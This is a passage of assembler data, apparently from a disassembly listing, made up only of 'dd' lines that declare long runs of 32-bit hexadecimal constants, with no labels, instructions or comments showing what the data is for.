		dd 0B173A60Ch, 19967D6Ch, 2314C1E6h, 9695C9F6h,	0E1028250h
		dd 0C383C70Ch, 1251E98Dh, 0C90C86A5h, 4B15AE22h, 0D830F3EAh
		dd 33140AFEh, 223098F1h, 42BC0560h, 80CA89ACh, 251778CAh
		dd 6834CCC2h, 0F5DC5154h, 7C86169Bh, 7C9B9BE5h,	90D44779h
		dd 9ABD03ACh, 4D603C9Bh, 39CD06D4h, 0F6B3B578h,	9BE76D21h
		dd 9C67CBB1h, 0E8F7F4Ah, 0E4AAD5AEh, 6686541Ch,	0FE682D85h
		dd 9F0940B2h, 0C38F7F20h, 0B4E05163h, 8AB32B3Ch, 533C1A1Dh
		dd 0DB35987Ah, 0F4BF7929h, 0E305474Ch, 37CF5FEEh, 2B2CEF6h
		dd 0D369D6DCh, 2C3885E8h, 8C33E263h, 0E97DE194h, 0AEC07549h
		dd 6BA47C2Ah, 31A4DF2Dh, 824E2DA5h, 661F37A3h, 20458453h
		dd 9ED7CE76h, 7441813Ch, 122F030Fh, 42AD6F02h, 0DF5ADC25h
		dd 7507AA0Ah, 0EC465AF3h, 435ADA6Dh, 657F1ADDh,	733762D7h
		dd 0D6680D3h, 0CEEE75EFh, 76D38C47h, 3091D2DCh,	0C080D3FBh
		dd 4C49F87Eh, 0E20313D3h, 771E8A18h, 0F80822Bh,	0AAEC2EBCh
		dd 0DDCF678Ah, 7A0027AAh, 560C6568h, 0B769FE56h, 9679A6Ch
		dd 9D20E0B3h, 0CD9BB1F8h
		dd 7F3F1E12h, 0D3581BE6h, 0AC6B82D8h, 0BE01EA2Bh, 45EE97F9h
		dd 0B2879617h, 8CEB6D35h, 6D6CE53Dh, 0B2CCCBB6h, 2FFD2AB5h
		dd 112CC566h, 3B368F6Eh, 75866798h, 0CFE6BDC9h,	0B5FCB81Dh
		dd 89FD0C53h, 0AC326B26h, 942BDF68h, 0FFA75763h, 0E9F972D3h
		dd 446B9CCAh, 9B400652h, 8E148BF9h, 1A59C36Ch, 0B4F3986Ch
		dd 0AD3CBAE8h, 79EE5E09h, 1B98F363h, 9BDAC853h,	0B3FE08B8h
		dd 0D79F82A3h, 33C096CBh, 0CEE8D87Dh, 7118FB36h, 0E875D3BCh
		dd 0D8ABDAD4h, 0C2DB7F0Dh, 0F86E222Ch, 64907E1Eh, 3CADC144h
		dd 0EC92BB37h, 5170F5EFh, 0C086DB2Bh, 0E545B659h, 3AA76F96h
		dd 63EB9306h, 24825B74h, 213D43E6h, 147D4BE1h, 73660176h
		dd 36143785h, 25A7B5FBh, 0E44A2A8Dh, 0B60FFCC9h, 0B8D8DBF7h
		dd 0A2CF8F9Fh, 220035F0h, 0A4A7AB70h, 19B5B41Bh, 0E886D39Ch
		dd 0C1ED5646h, 0A0C8D5F5h, 53A8DDD9h, 0F9DC97C6h, 0CA6A0AD1h
		dd 0A8CA4040h, 95B98C80h, 0E0E4E877h, 0C94E19BAh, 328BCCB6h
		dd 5D49D99h, 0B6312C0Bh, 0BE64BFD6h, 39409F9Ch,	4BF13783h
		dd 8DB7D35Ch, 32C42FE6h, 9FB5B6A2h, 49F9B0D3h, 9AB891F8h
		dd 0D0030045h, 1A0D5718h, 906F22A2h, 1A73437Fh,	6D1929CAh
		dd 0DCEEF3BCh, 5E39F3EDh, 0A7ED65CCh, 38BB07BEh, 0A94864E9h
		dd 0B3873FB7h, 7CC8125Eh, 55DCC602h, 28DD0107h,	7DC572B0h
		dd 42D0B9E6h, 3FA24A4Bh, 0D80D195Dh, 7DF8DC49h,	16DD330Eh
		dd 0FBA10A5Ah, 3E8230D6h, 0DECBE007h, 8F7EE56Ch, 0F374378Dh
		dd 0B80A8B8Ch, 6F3C8467h, 396D07C2h, 0D156ED7Dh, 88CA01DEh
		dd 0BDEF68C3h, 4F5FFCFCh, 0C56201A7h, 17235643h, 0A725FCBEh
		dd 4A714E25h, 0B7536853h, 8CF06E19h, 55D689DAh,	0DBD44926h
		dd 895D3CDDh, 4FC78337h, 1769E418h, 6AB9947Ah, 52FC7B13h
		dd 86A8D030h, 236DDB00h, 0C78D823h, 18DD0DEAh, 38F1A87Ch
		dd 0F8FC2862h, 6B90575Fh, 3C1DE8C5h, 7CDEBD3Fh,	84915E65h
		dd 71048BC7h, 78E07247h, 0F837F5FBh, 0B5A8211Dh, 7385D0BEh
		dd 6FB7F161h, 21C46A7h,	6B04815Fh, 866D4915h, 964D1E15h
		dd 0AA49F687h, 0FF495C62h, 0BEB8F8C1h, 7A096612h, 0A4AEF088h
		dd 221B0EEBh, 8DABADBCh, 0C2A6E5E9h, 1266088Fh,	39BE5486h
		dd 5C454184h, 4FAB914Fh, 9067176Ch, 3875250Bh, 1A725B8Ah
		dd 0FCDC4EAh, 0BCA1054Eh, 0F19EBDA7h, 4BBD6EB5h, 0A54204C9h
		dd 0B6E17994h, 0A4A88585h, 0D8241F79h, 0B6556742h, 0A894EA54h
		dd 1CE66DDFh, 4A47B33Eh, 51865FA1h, 8EC0AFD1h, 23D928FFh
		dd 0F3087756h, 48369F3Fh, 0AB0129FFh, 5A23F677h, 0AEB7C3CEh
		dd 0C1F9AF1Fh, 2D362810h, 9598A9FDh, 968869DFh,	0AC5B0D87h
		dd 29B2F417h, 4BB51F93h, 1235E924h, 0ADA9910Ch,	58FA14A9h
		dd 9F85B004h, 0D3FE524Dh, 0A2949A83h, 87542A95h, 41D30C75h
		dd 2BF038CFh, 569F1774h, 35E55B38h, 1096DCD0h, 3D387FA2h
		dd 0ED7CDE58h, 6A8BE3B1h, 5AAC40C2h, 0EC09F0E1h, 616B0FE7h
		dd 0CB22E8FEh, 0F395EBE0h, 104D8C40h, 90421B9Eh, 92CD98C1h
		dd 0B27B575h, 7011F8CDh, 1B4CC4FCh, 9301951Eh, 0EF368AA0h
		dd 7B3027C4h, 3FE112C2h, 72E71505h, 679D16BFh, 0C13B79B1h
		dd 47F00504h, 0C120FFDh, 3C6A1F17h, 0A84E1AEFh,	0CDBC3ECDh
		dd 300D5EA1h, 0E41969EAh, 0BBAA1262h, 0E0501076h, 0F8BAC89Dh
		dd 47499407h, 1983CF75h, 1D630C10h, 29F8C87Fh, 0E170FE8Bh
		dd 0BF2AEC4Dh, 6E9531Ah, 0A7ED4092h, 1A988805h,	0AA368747h
		dd 0DE7D8DFFh, 6691C6D1h, 0E45D50CBh, 0E7181CA9h, 3670F018h
		dd 10AA32B8h, 0B62E9BC0h, 5107F585h, 4D319BBBh,	0E4AB6B49h
		dd 695D1F35h, 0A61B96C0h, 0A24093CEh, 1011DE06h, 230E4CEDh
		dd 0CAB440B5h, 772AF9AFh, 598CFBF8h, 6E9AF2Eh, 31EE284Eh
		dd 0F6EDB3AAh, 0E70BE5FAh, 0ADA29DCFh, 0ADC7ABD8h, 5405F3Dh
		dd 980E4745h, 70106F47h, 0DC9C2DB5h, 0C2049BDBh, 7D4BD512h
		dd 0A9A11Fh, 2035172Ch,	8E21C0B0h, 0B7ECCA99h, 6FC515FEh
		dd 5CD4989Ch, 3B78F53Fh, 752B4FE1h, 39A43930h, 0A2770977h
		dd 258298D7h, 0D67FD5D9h, 0DB067C47h, 2150286Dh, 1198725Ah
		dd 97F06F26h, 0C595E1BAh, 6F165DE6h, 8FB02756h,	0A106C27Fh
		dd 0D924D7E8h, 595E1B3Eh, 72508DCFh, 0FF6A538Fh, 93C71498h
		dd 72A05DAAh, 1AC53207h, 810760D8h, 0F77A056Bh,	0B2FC0147h
		dd 4FC905Eh, 0E9FBCA3Dh, 1DDA25B9h, 0B6C4C5E3h,	0B2107336h
		dd 2FA1FCFh, 0A033E81Bh, 0DA74A930h, 485A5516h,	2BE001EBh
		dd 21C0EAB9h, 5AE965D3h, 46D806D9h, 33767520h, 9AFF8736h
		dd 645DEF7Eh, 47A4F97Bh, 79EA39DEh, 0B4617D67h,	564F62E4h
		dd 64CF3460h, 0ED86EB8Bh, 0B763242Eh, 5970F07Bh, 0FFBB59B9h
		dd 0A8B4718Dh, 16BD4968h, 0E98DE9B2h, 0C73D3AFDh, 49187D5Ch
		dd 495434Dh, 10ABF6C2h,	87EA720Dh, 0C68A12BDh, 18BB0FFDh
		dd 269D183Dh, 9C1900EDh, 0F0D8515Ah, 305C0F5h, 76AB536Fh
		dd 906AB1D4h, 0DDF18BA8h, 262B0A6h, 0F59AE4E4h,	0BBD5E8Eh
		dd 80B458B2h, 0A2FD2076h, 0B7A124E3h, 0C79333FAh, 0DE0E85DBh
		dd 0DE3DEF3Eh, 55CDA7E6h, 293901EDh, 69138A43h,	0F68A3E7Eh
		dd 8D66284Bh, 0B71D4E63h, 0BB03D152h, 69AB7CBAh, 0CA785F99h
		dd 91018A48h, 0C540091Eh, 0A8312D89h, 2D4FF962h, 0B017F571h
		dd 0FA7858B1h, 8603E62Fh, 23966794h, 0B8BC957h,	0AE0B552Bh
		dd 0E0D15C8Eh, 0D4B83B2Eh, 0AF908BA3h, 0C418EEFh, 2970566Ah
		dd 3D0E65A8h, 0F9D4F40Eh, 3FDD2D72h, 52BB17DCh,	28C72165h
		dd 0FC93F353h, 471F2F08h, 3860684Ah, 0A2CBDB2Ah, 4F890BFCh
		dd 0A0E09028h, 0D2BF4466h, 1DF4C2DFh, 9386B2A8h, 10055B34h
		dd 895989E5h, 0D31BB86Dh, 4CF0B842h, 0AD94565Fh, 83A44572h
		dd 1671F35Ah, 4426274h,	97962624h, 731C1F76h, 24F70A63h
		dd 7C0B379Fh, 9E8DC700h, 0FDD468C6h, 53719F8h, 9CDDCF9Fh
		dd 22B44D0Bh, 38233FA9h, 8FB0047Ah, 3D30090Ah, 0DEC4A9BBh
		dd 9169F8A8h, 76ACF5Ch,	57922C80h, 3F988AB7h, 0C41B6F40h
		dd 0B4B851BDh, 146DE325h, 4BF8CF24h, 0F3418904h, 0C0DEAFF1h
		dd 94139D2Dh, 0E41F7A22h, 1F1492C5h, 71AAB2DCh,	0F1E063C4h
		dd 0FCFE63B2h, 0B59A7803h, 0D7097876h, 0CF99643Ch, 998476Eh
		dd 8397064Dh, 45D98216h, 1D4CF75Fh, 3B0A7716h, 91E28D1Bh
		dd 4FEB1C11h, 6162FAAFh, 4CB9F5FDh, 0D76D443Dh,	1A3859A9h
		dd 10FCECA0h, 805A00BFh, 0FD1536DEh, 4A605296h,	6ACE4195h
		dd 0BC51C209h, 808AA230h, 0DBF2CED6h, 25DEA862h, 8A9F6C9Ah
		dd 0ABD626F7h, 0C888594Ch, 25AB4ECDh, 0EF2EF0A0h, 9D5DC75Dh
		dd 0A30E948Eh, 200CDD95h, 0BF6C3B61h, 6871C1BFh, 0E79EF745h
		dd 0B6A8EC59h, 0F9B0930Dh, 0D47430F9h, 0A6B4CA08h, 0B1A2B610h
		dd 54B4A96h, 0CF2CCBCAh, 0B81079ECh, 0F62594C7h, 7C930A16h
		dd 0B694165Eh, 18326716h, 0F3655436h, 5CBDA3B2h, 0B6B80DEFh
		dd 7E2DCEFh, 0A34EAB97h, 0BEA1BA5Ah, 3E6D4B06h,	7EDB6F97h
		dd 4921DF81h, 0E34D4594h, 5B6B13BDh, 84B9AAA0h,	24B89650h
		dd 84FADADCh, 660B13DAh, 0DF7DF66Ah, 0B617192h,	22476BE8h
		dd 21CF5F03h, 0D5E52EBFh, 1DF04250h, 35DC34A0h,	0AE86A58Ah
		dd 6E253CD9h, 91E81061h, 864491F8h, 75C8DD08h, 0CF217661h
		dd 0DE556D24h, 890DC4BBh, 8E5674BEh, 6B28EE39h,	0EC81E4A4h
		dd 11BE6487h, 0A03AD9C8h, 2AE8CE3Ch, 88F9FB47h,	9179D23Eh
		dd 98305CFEh, 51403567h
		dd 3368E692h, 10F1356Fh, 0E0B6AE2Bh, 658AC8BAh,	7E89B420h
		dd 6A7504B3h, 0B0392912h, 0CE0F08FEh, 0A98E48C0h, 39DB62D3h
		dd 9CE53BEAh, 0A4DF6738h, 0EFCB80B5h, 0AA9CCD8Ah, 38AA0F7Ch
		dd 221CEB45h, 0FD6AD242h, 0E79296D1h, 6D169AA8h, 0BF54DBB1h
		dd 9196A143h, 0FC9467B4h, 703C6AECh, 0D608D354h, 647CC4E6h
		dd 5BEEA660h, 3B12C986h, 85B2E67Bh, 910CAC07h, 52C44050h
		dd 0E4CC34A6h, 788725B2h, 973AFFCBh, 0C52EB13Ah, 7437B1DCh
		dd 7093F675h, 0A28AA713h, 0B5A5E257h, 597BBFC1h, 7A93B2C2h
		dd 502BC53Ah, 0B0BA98B9h, 0E09F8043h, 9FF8782Fh, 25F7ABA4h
		dd 0E1559D6Ah, 0A1B46314h, 3416DE2Ah, 0BC2DDFD8h, 5D371BF5h
		dd 0A9C0C754h, 1B75DF71h, 9AE130AFh, 56D63275h,	0F7D4522Fh
		dd 0B3D3AA85h, 0E923A854h, 8AD326AAh, 9ECB591Ch, 0BC177DA8h
		dd 0A0ED5322h, 0A0854276h, 89FC6437h, 0C05F809Ch, 49209417h
		dd 0F8CFC103h, 34E5EB9Bh, 3E6E3918h, 0D30F326Fh, 352DD327h
		dd 0B78F0C8Eh, 840352DAh, 228D6F7Dh, 449C4B49h,	5251C695h
		dd 0A9A3E2A4h, 1C869F9Bh, 19FD36CFh, 89D182C3h,	11ABD1BDh
		dd 86E5EAh, 15B81FE4h, 0A888A2C3h, 9FF4E6AAh, 0DBA5D5ABh
		dd 10DFE71Eh, 6BD4D742h, 27633C32h, 0BA2CEA18h,	829384F1h
		dd 0C99FC1B5h, 0FD8ADB15h, 881A050Fh, 3DA3AE79h, 0C0C1D0C5h
		dd 4E588D49h, 0F0A86B08h, 0D17B938Fh, 0B63CFF57h, 0EA9CC751h
		dd 0FE7F4797h, 727D1C50h, 2A05D4F6h, 9D2D2619h,	6903E4FDh
		dd 0AF0131A0h, 353A804Bh, 0D25B5482h, 133C997Bh, 8FD1E709h
		dd 731DDCA8h, 0B9FF623Ah, 0B63C3279h, 0B8C5B944h, 0E6742E94h
		dd 0FA2C9F3Fh, 0BE51E231h, 46BA64DBh, 0C5F3FA83h, 691A233Dh
		dd 0CD25B5B8h, 1D143886h, 0F75DBABh, 0B9422E04h, 0A616FCD6h
		dd 169398ECh, 2968B61Ch, 130F4157h, 1E91D62Ah, 349D14BFh
		dd 0EECAFB8Eh, 0E7246A70h, 0E104C1ECh, 0C9958C8Dh, 0E4C5351Dh
		dd 9BB5DA60h, 503520C6h, 0B0C3B3h, 83B9A224h, 0F2DD3B8Ch
		dd 0FF95D459h, 9026896Eh, 0C7FE56F1h, 6063D8D5h, 576C5A19h
		dd 0BFAA039Bh, 0E20050B7h, 0B440EC4Dh, 79851F8Ch, 99899062h
		dd 631FA212h, 0DDAC4339h, 0FAF316F0h, 90099FDCh, 2D479416h
		dd 9E4DFBDAh, 0DE120912h, 0B05E05A0h, 0D8C9A71Dh, 0B91BF0BEh
		dd 606E2E75h, 73FF304Ch, 50ACA57h, 0A389EFEEh, 0BE06663Ch
		dd 68751C29h, 47489589h, 0B6D1F988h, 0A5FE0E75h, 0CA6297E0h
		dd 0D40005B1h, 1F7F7B72h, 872CADF4h, 0B3916D0Fh, 7B9D2428h
		dd 4FA1364h, 0AA684B28h, 402DFF72h, 0F8A642F8h,	14C3ACEh
		dd 51AC67EEh, 624B8776h, 0C8C33376h, 0F9CC7BDFh, 0A36B8FA9h
		dd 0A24B5AECh, 4325900Bh, 0D6D67FD4h, 24007DBCh, 0B7A3D1CAh
		dd 95B1A103h, 3E239B83h, 49F3FC5Eh, 44D5C8C1h, 0A7C6D91Eh
		dd 76642E5Ch, 3E4726ACh, 0FF98A5CDh, 0A2038F42h, 74A55A17h
		dd 30A5FE81h, 0C19D2FBAh, 64A740FDh, 0F3FD8EB1h, 71DDC631h
		dd 61CFDD20h, 2FDED441h, 211A7421h, 19A0FFDh, 0EFDF698Eh
		dd 455490A1h, 3A90FC10h, 0F4C8DCF3h, 8CFBA82Bh,	3AB2DE35h
		dd 36B91C2Fh, 0AFB41E66h, 6000D5BCh, 0CB93B0C3h, 4C323BA2h
		dd 8A03D504h, 97069F3Ah, 27B118FEh, 0CAE0D6EDh,	5AF8EA3Dh
		dd 9645DA1Ah, 0B3EEB7F9h, 4D406282h, 9F4CA60Eh,	0F421B439h
		dd 0F9E0B134h, 8E74B4B4h, 0BBFCA7D1h, 5F061792h, 983ED5F9h
		dd 33DFEBB3h, 7C275370h, 68DB0E86h, 105815C2h, 0D6E670C3h
		dd 0DCFCB21Bh, 71521Dh,	0C8451309h, 464E5EFDh, 9663F0Eh
		dd 0E9E3C2A2h, 4BBA7B7Dh, 0E73180B2h, 14960ED9h, 6B3E96CDh
		dd 9B810D0h, 80405E80h,	825C3A17h, 0A7202FE6h, 0C752D751h
		dd 4A2F1B1Ch, 0BEC5F070h, 0D9A08FD7h, 2D47852Fh, 0A45751B2h
		dd 2C27AD99h, 61CE437h,	7566BBD4h, 855540E3h, 279AB353h
		dd 0EE67C5C7h, 0DAD28D8Bh, 0AB015BEh, 8A2868F9h, 68EF94B9h
		dd 9C79D083h, 5D30DC44h, 25CB0AABh, 0DD6B0675h,	55DA447Dh
		dd 989278D8h, 0A3CC6557h, 6669EECEh, 5B332832h,	5EDB9Ch
		dd 8366A529h, 1C8DEEDAh, 0B81765D3h, 0D91F3B1Dh, 0E21294F8h
		dd 0DF5BA2B0h, 0E8A9CECBh, 4F18ED93h, 63C80B1Fh, 0A4367FD8h
		dd 0AE605FC6h, 0D6C2D99Ah, 46F73903h, 62F1D20Bh, 49F853D3h
		dd 0D380F66h, 911F8564h, 0E80C70Eh, 3F502CFBh, 0C1A3F56h
		dd 0FF063089h, 9EB8C4F7h, 673FADA5h, 2EA4045Eh,	0E41A9126h
		dd 78F5F90Ah, 0B5EC5FB4h, 0B2E9D052h, 8BBE224Bh, 36EA268Dh
		dd 0A77C932h, 454E2880h, 64CF2EB8h, 7F39B054h, 76FDE2AFh
		dd 0F41A3EEDh, 99E52DF5h, 70B74A53h, 5E34956Bh,	0C51A377Bh
		dd 0F0ED165h, 0EE89C1C6h, 1654EECDh, 0B729D650h, 0C55D9188h
		dd 0DA1B4492h, 7FDE1AEFh, 0A9AE8DC6h, 4BA56C73h, 70BC1BAh
		dd 8094B969h, 0E677E253h, 91AD2C98h, 2AE4E723h,	0AFF2C683h
		dd 7A6ED375h, 13847C60h, 0E5B0BC77h, 0C0274B3Bh, 74351CFBh
		dd 0E7D80C57h, 63DD7DADh, 31E785A6h, 70B97FDDh,	32EED902h
		dd 0EE64B912h, 3B1976D1h, 0D5E7D640h, 2C530185h, 65886F59h
		dd 3D0C9C9Ch, 0A4876277h, 0F62622C8h, 5D050AE4h, 61B00A3Ah
		dd 7B57ECE5h, 2F9EC758h, 33ADD6FFh, 4E8F5CCAh, 69E06F55h
		dd 0E05E45E7h, 15E71B42h, 67C79468h, 52F21680h,	83342ABFh
		dd 0F02AADDh, 0B09A3989h, 6426124Ah, 59EE7ED3h,	0F761292h
		dd 0CE6E15A5h, 7E9E97E3h, 0EDF60418h, 36418D5Bh, 3057D1A8h
		dd 0F8986026h, 18CDB0C2h, 0A2198BDFh, 0F9D9AC50h, 7D3F0E9Eh
		dd 0DC121615h, 0ECFA583Fh, 0D1652A7Ch, 0C638B5B9h, 0B3211FCDh
		dd 502FA78h, 0D7223592h, 0E44B39C6h, 9D987D21h,	5C11432Bh
		dd 2EEE87ADh, 3BC7256Bh, 0F65199A0h, 0CA9E3689h, 0AC6E4F37h
		dd 0A1503E18h, 7CC6738Eh, 7F4CD6B1h, 0FB0DA4D8h, 7826837Fh
		dd 0ED628AC1h, 26FE0DE5h, 0F600112h, 0B129C031h, 0DA46FAF8h
		dd 2CB62226h, 1317C5Dh,	55FE178Dh, 846B452Fh, 223C84D6h
		dd 0E06B91A9h, 74219916h, 97FBC9C8h, 0B2DA45B3h, 17A3E44Ah
		dd 0D5A6F297h, 2E4330E5h, 0C215ED5h, 0D8C61106h, 6B1DFC0Eh
		dd 0F3A22304h, 3C3181EBh, 0BBAB9C82h, 0E12D0340h, 0D9B95277h
		dd 62194590h, 0F4A07BD8h, 0D60A1B3Ch, 82FCDB91h, 0C6B0F1C1h
		dd 0BDF2EB09h, 0FEBE9F2Ch, 0C405BB21h, 0D6B25AF9h, 2E06D24Fh
		dd 258F648Fh, 40C4F18Ah, 51759403h, 9089791Fh, 97B81D67h
		dd 0BE9594B5h, 4C76BABBh, 0E6AE8D0Ah, 0C0565625h, 1B1473FEh
		dd 41DA41E2h, 0E5E9CCF6h, 7214E7B1h, 6B87EE0Bh,	0E8BF6DF3h
		dd 0C5C943FCh, 6CBEF769h, 531E3D9Dh, 0BE16A8B9h, 92A3F45Ah
		dd 302CEC95h, 5EDA6BD5h, 0C43B9DD6h, 83122642h,	227DEF3Ch
		dd 0ACE78564h, 0E924C890h, 0AF6AD4ACh, 0FFA50D01h, 4A0F6873h
		dd 3DF12FCCh, 0ED658B97h, 7E82E315h, 40308A0h, 0FD3E9BA6h
		dd 0FC26C84h, 9D0A2EE0h, 273C579Ch, 0F124A49Dh,	165AF107h
		dd 27882AB5h, 51A8BF58h, 0F5DDF3A6h, 4532C6C4h,	4C7599Ch
		dd 7B0A9EBEh, 2989C188h, 0EEB41C58h, 3FF6E802h,	0A8DE659Eh
		dd 56003F43h, 95028DC4h, 0FE71A825h, 3F5074Fh, 0C433EF7Bh
		dd 3500DDE8h, 7321B6FBh, 0E3DBB8E2h, 0EFA55B78h, 0BD928DFFh
		dd 2690A6D3h, 5AFCF7BCh, 4BD27CBEh, 146FC9ADh, 8338A2E6h
		dd 0A0B74E71h, 2C467F41h, 6DF5CB99h, 1E6BE308h,	0A931B454h
		dd 0FD5AEB5h, 0E6D52703h, 3017D840h, 0A5E69374h, 2DC07188h
		dd 0FB1AA929h, 2F303DFAh
		dd 0D811936Ch, 0B3994FABh, 0E61A6A0Bh, 0D451F4FFh, 2488F3ECh
		dd 396B99EAh, 35D6E8Ah,	60D1AD83h, 0AA0B3BABh, 72DB37B5h
		dd 7BBE08FAh, 0F62150D8h, 1E2EB602h, 0F239C6A0h, 240EC610h
		dd 445D01A0h, 0A76EFAD2h, 1D17F3EEh, 0F2A77440h, 26D73E08h
		dd 0C8BF307Ch, 5024ED0Ah, 55CFEA4Ah, 0A8046957h, 7E348560h
		dd 0D714BE63h, 90020961h, 0D251B3Bh, 0E7A0E937h, 666CF5D8h
		dd 7E9AF304h, 0FECD2A90h, 3A50DD99h, 0F03DD1D2h, 53FFE29Dh
		dd 57724599h, 746E0E58h, 0D9DA3D2Ch, 2BE2E875h,	0A75D2CB2h
		dd 335BF9AAh, 0BEEA273Dh, 81A7AB83h, 0C47D76B0h, 8936FE3Bh
		dd 0BFDA9F2Ch, 0CD99BA7Eh, 0C2900200h, 0F511E4A9h, 173AE486h
		dd 52AB99BEh, 0E0B59CFBh, 59F0ED24h, 6127301Bh,	0CE6C83C9h
		dd 6C6F858Ch, 0F5C480CCh, 1AE9A1D2h, 0FF004B16h, 0A1B71603h
		dd 0FD5570A3h, 11F3E1AFh, 75B032CBh, 0B1E2B798h, 6A110EBDh
		dd 5B98BE4Fh, 82D211B8h, 6022A13Ah, 2E980F44h, 61F0420Fh
		dd 0BCFB6158h, 0F78AD2A2h, 9D1DA229h, 6C30D326h, 827E60C2h
		dd 239A2787h, 7F0C82BEh, 0DC8D2E1Dh, 70EF1775h,	0E55D6A87h
		dd 8416ABD2h, 0AA54BE39h, 7A6EB4E0h, 0BBB6C94Ch, 97CFA841h
		dd 0C8F85BEDh, 403A5363h, 0D0023520h, 5E869AB5h, 545947B8h
		dd 363992ABh, 4FB1BD76h, 94A559ADh, 12457704h, 0D0C5C4E9h
		dd 26836342h, 0A98161B5h, 895554F9h, 9F50C845h,	0EB00E1Fh
		dd 44B0CDE2h, 0EA12EA63h, 0E4DE41Bh, 0CEDAFCE5h, 7F9E04D0h
		dd 0B04E637Fh, 55850D64h, 16BCB5E7h, 8CB0733Ch,	8738CBD6h
		dd 9F19C4BBh, 0C86989CFh, 0D3C5EE74h, 2C1759BFh, 0D3ACAFACh
		dd 0D92560A8h, 394775FFh, 0A906E299h, 8E544D08h, 7250FB38h
		dd 0DC06C9FFh, 0C8D8A4A1h, 41311A9Eh, 6752675Ah, 0A6B68662h
		dd 0C91A2E34h, 0C6BAA33Ah, 0DB88087Ah, 0DF32CDC0h, 0ACA463E5h
		dd 0F416DA8h, 0A50BD604h, 3DC7AFEh, 0CB5D0736h,	0F41D4076h
		dd 2067D621h, 0BAFD4F51h, 2128C687h, 8678F7D5h,	570D9920h
		dd 9975E40Fh, 34395FDEh, 935E7B16h, 0C20CE72Eh,	0BA8045Bh
		dd 6CCF14F7h, 61DF81F5h, 8C0D36EBh, 0AE145C8Bh,	0C2FB07DCh
		dd 0B0E54BFh, 0E3A736BEh, 680FF1BFh, 670DD5E8h,	6B93F087h
		dd 0EFF0FE98h, 6A42F4C0h, 525E0442h, 2A2E6A8Ah,	380C1C91h
		dd 45AEC5BBh, 0E9EED29Eh, 0ED3E7F74h, 6BAD2DE2h, 245FB6AEh
		dd 0B139149Bh, 7E63DA25h, 2833CA41h, 0CE0ACDF4h, 0B2126CAAh
		dd 98DBAD29h, 0BE4C2CCEh, 72F4BF0Bh, 0DB03E2F4h, 0BA0BA728h
		dd 0F3737AC5h, 0BB0F72A2h, 0FD14CE83h, 0DC030ED6h, 0D883E53Ah
		dd 6EF1D284h, 1AF18294h, 42CA0031h, 1DD16599h, 0B300D43Ch
		dd 5523067Fh, 455B0E9Bh, 0BF241A50h, 0FA344814h, 9A413142h
		dd 31427FF3h, 9273E6CCh, 0A36DBDD1h, 61563DBCh,	0B0D480EEh
		dd 94FE2AEFh, 6EC56AF5h, 4074E961h, 13E30287h, 313933F0h
		dd 27647028h, 28097D14h, 0C48827ACh, 5C6711D3h,	0EBA74221h
		dd 1DB5AF27h, 0E9B9FFA1h, 962E66BEh, 0C9D7327h,	1CC73843h
		dd 8C71AE7Bh, 0CD1E4BC3h, 71016BC7h, 0A33CAFBAh, 3F9636F7h
		dd 17EEB11Ah, 0E5E603F7h, 7F5CA398h, 0D5046DDCh, 0A60FAE84h
		dd 8A242F00h, 0EE36055Fh, 0D27C76ADh, 9543C7A4h, 0B1AF682Bh
		dd 81322A6Eh, 7DCE9C52h, 65C0F007h, 957D7C5Dh, 68D981F8h
		dd 73D63F30h, 6CE7A02Dh, 0E1FC5C1h, 35FC72DAh, 0F1C9FC38h
		dd 9F019BECh, 0F47957D4h, 938682C9h, 5049EDAFh,	58310793h
		dd 1714DFF7h, 0EEA16997h, 2EACB259h, 3DEF3BA4h,	84B0C181h
		dd 584E5C46h, 8445ACCEh, 0BF7FBF7h, 0CD858F3Fh,	8A9BBA01h
		dd 676910A1h, 1BFAC6DDh, 0C8B6AF3Eh, 1580EEFEh,	26EA73EAh
		dd 3B31297Dh, 0F44CD0DBh, 0F1678505h, 0B80186FCh, 892DDBC8h
		dd 0E096B699h, 2BCCB4A1h, 0A0567ED0h, 56D5D4AEh, 5FF456B5h
		dd 392B41BDh, 0AEEE4ACAh, 21965B4Fh, 68C60BFAh,	0A62DDD9Ah
		dd 0A507026Ah, 0D5E23F6Dh, 0D37529BCh, 0B19DB5DDh, 1F35980Fh
		dd 0A47646E1h, 0C2E17327h, 0A4C3DDBAh, 5FDF1117h, 9CF6363Bh
		dd 0CB21BCFCh, 934202Eh, 0F6CDEC31h, 0E7182EA1h, 3CBD2F45h
		dd 65C04C24h, 0D9FB2ED9h, 6A398F91h, 72DD0EB9h,	0C17F8C73h
		dd 1CCF6441h, 10DB9A31h, 0C955D86Bh, 0C066677Fh, 20F574BFh
		dd 6F46C7FBh, 92FE04CCh, 96FDA394h, 99F35EB3h, 9BD5C8AAh
		dd 3771C6EFh, 0B93B714Bh, 750A2E7Fh, 3F29E74Dh,	570CECA6h
		dd 74571A2Dh, 0F9666F45h, 57D41415h, 0CE4194F3h, 0EE6F7DC9h
		dd 4E4B152Bh, 8B241F73h, 77258ED6h, 0AE558F6Fh,	0E53BADCBh
		dd 0DB864DBEh, 7D26E03Ah, 0C1AFE5C5h, 3510A683h, 134BD025h
		dd 191B5A7Fh, 0E14FD7E4h, 59CF4ADFh, 159A9A80h,	12440295h
		dd 84C39E6Ch, 3771665Bh, 79A34575h, 65D75268h, 854B4C6Fh
		dd 0F80719F4h, 0D9730158h, 0FA3C158Ah, 50D11099h, 29289B2h
		dd 31973C46h, 98B9B72Bh, 719D5F99h, 66580197h, 0BE60AAF1h
		dd 13DE51D6h, 3A484931h, 57357655h, 0AC2FDFEBh,	34F6FF13h
		dd 81651613h, 0DC1C5B63h, 4DCD9705h, 0EEB7D46Dh, 38222F42h
		dd 7DF39ED0h, 479DCB7Dh, 363163EFh, 5C829196h, 51E9A128h
		dd 1EB4547h, 0C9BAFB0Bh, 533F284Bh, 83D2B6DDh, 8A0E9E45h
		dd 40649206h, 4BFBEB7Fh, 0C64C7655h, 0F99665C6h, 0DE010A34h
		dd 0BD5E3EB0h, 3814409Eh, 0CA0AAA1Eh, 2E09C0Bh,	91E8D0B0h
		dd 779FE8D9h, 6F3835A4h, 0CE4155ABh, 65542847h,	51FA9E50h
		dd 38DAA744h, 52E64085h, 4A4D9141h, 0AE6E0E59h,	0A6D85h
		dd 0ABE8CD19h, 6C9D9185h, 5767B976h, 0F569A74Ch, 219E8867h
		dd 0FBF3DEB6h, 0FC5B204Bh, 784F1427h, 71882308h, 0F9080930h
		dd 28EFB662h, 3847DFBCh, 8474AEDDh, 0E4564E33h,	36948662h
		dd 0F155AD7Bh, 0FCEFEA48h, 92F0091Dh, 0F6AC824Bh, 0E0DB1A1Ch
		dd 8920E8AEh, 3BDD019Bh, 2A1A7C8Dh, 1BBE41CDh, 0C4903FC9h
